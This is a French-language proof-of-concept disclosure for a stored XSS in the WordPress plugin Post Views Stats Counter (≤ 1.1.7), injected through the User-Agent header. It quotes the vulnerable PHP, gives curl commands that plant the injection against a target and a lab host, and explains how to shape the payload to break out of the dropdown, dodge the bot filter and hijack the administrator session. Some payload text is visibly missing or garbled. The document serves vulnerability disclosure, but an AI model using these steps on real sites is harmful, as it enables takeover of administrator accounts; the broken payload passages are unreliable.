
Preuve de concept pour CVE-2026-97347, une XSS stockée non authentifiée dans le plugin WordPress Post Views Stats Counter via l'en-tête User-Agent, avec les étapes de reproduction.
| Extension | Post Views Stats Counter |
| Version affectée | ≤ 1.1.7 |
| Classe de vulnérabilité | XSS stocké non authentifié |
| Point d'entrée | En-tête HTTP User-Agent |
| Point de sortie | Page de statistiques d'administration (options-general.php?page=post_views_stats_admin_menu) |
| CVSS 3.1 | 7.2 Élevé |
| Statut | Non corrigée lors de la divulgation, aucune version corrigée connue jusqu'à présent |
| Chercheur | Nawaf Althurwi |
L'extension enregistre chaque vue de page, y compris l'en-tête User-Agent du visiteur, dans une table personnalisée (wp_pvs_counter). Voici où elle récupère l'en-tête — aucune désinfection nulle part dans le chemin :
// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];
La seule défense à l'entrée est un filtre anti-bot, et ce n'est qu'une liste noire de sous-chaînes :
// wp_pvscounter.php
function pvs_counter_is_bot() {
$pvs_bots = get_option('pvs_counter_value_admin_bots');
...
foreach( $pvs_bots as $pvs_bot ) {
if (stripos( $ua, $pvs_bot ) !== false) {
$bot = 1;
return $bot;
}
}
}
La liste par défaut est bot, spider, crawler. Tout ce qui ne contient pas ces sous-chaînes est stocké. C'est tout le filtre.
Côté sortie, la page d'administration construit une liste déroulante de « user agents enregistrés » et affiche la valeur stockée brute à l'intérieur de la balise <option> — esc_attr() protège l'attribut value mais le libellé visible est un simple echo :
// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
<option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>
Ainsi, une requête non authentifiée contenant du HTML dans l'en-tête User-Agent finit par s'exécuter dans le navigateur de l'administrateur la prochaine fois qu'il ouvre la page de statistiques du plugin. XSS stocké classique, aucune authentification, aucune interaction de la victime au-delà de la consultation de son propre tableau de bord.
Une contrainte supplémentaire à connaître : la colonne useragent est de type varchar(155), la charge utile doit donc rester sous 155 caractères.
N'importe quelle URL journalisée fonctionne — la page d'accueil /?p=1 convient. Remplacez TARGET par l'hôte WordPress et YOUR_PAYLOAD par ce que vous souhaitez exécuter dans la session de l'administrateur :
curl -s -o /dev/null \
-H 'User-Agent: </option></select>' \
'http://TARGET/?p=1'
Notes sur la forme de la charge utile :
</option></select> fait sortir la valeur du balisage du menu déroulant — ce n'est pas décoratif, sans cela l'injection reste piégée à l'intérieur de la balise <option>.bot/spider/crawler (insensible à la casse), sinon la requête est filtrée comme un bot avant d'atteindre la base de données.alert(), utilisez plutôt   — certains clients HTTP altèrent les espaces dans les valeurs d'en-tête.Le one-liner que j'ai utilisé sur mon lab :
curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
-H 'User-Agent: </option></select>' \
'http://packetradar.local:8090/?p=1'

Un simple curl. HTTP 200 signifie que la vue a été comptée et que l'en-tête a été enregistré dans la base de données.
Ouvrez Réglages → Post Views Stats Counter en tant qu'administrateur (ou actualisez simplement si la page est déjà ouverte). La charge utile s'affiche dans la liste des widgets de statistiques et le onerror se déclenche :

S:C — le XSS s'exécute sur wp-admin, il peut donc appeler les points de terminaison admin-ajax et d'installation de plugins avec les cookies de l'administrateur)
Meilleure qualité si vous souhaitez parcourir/mettre en pause : exploit-vid.mp4
Testé sur la version 1.1.7 avec WordPress 6.x dans un laboratoire Docker local. Non authentifié, aucune interaction utilisateur au-delà de l'ouverture de la page de statistiques.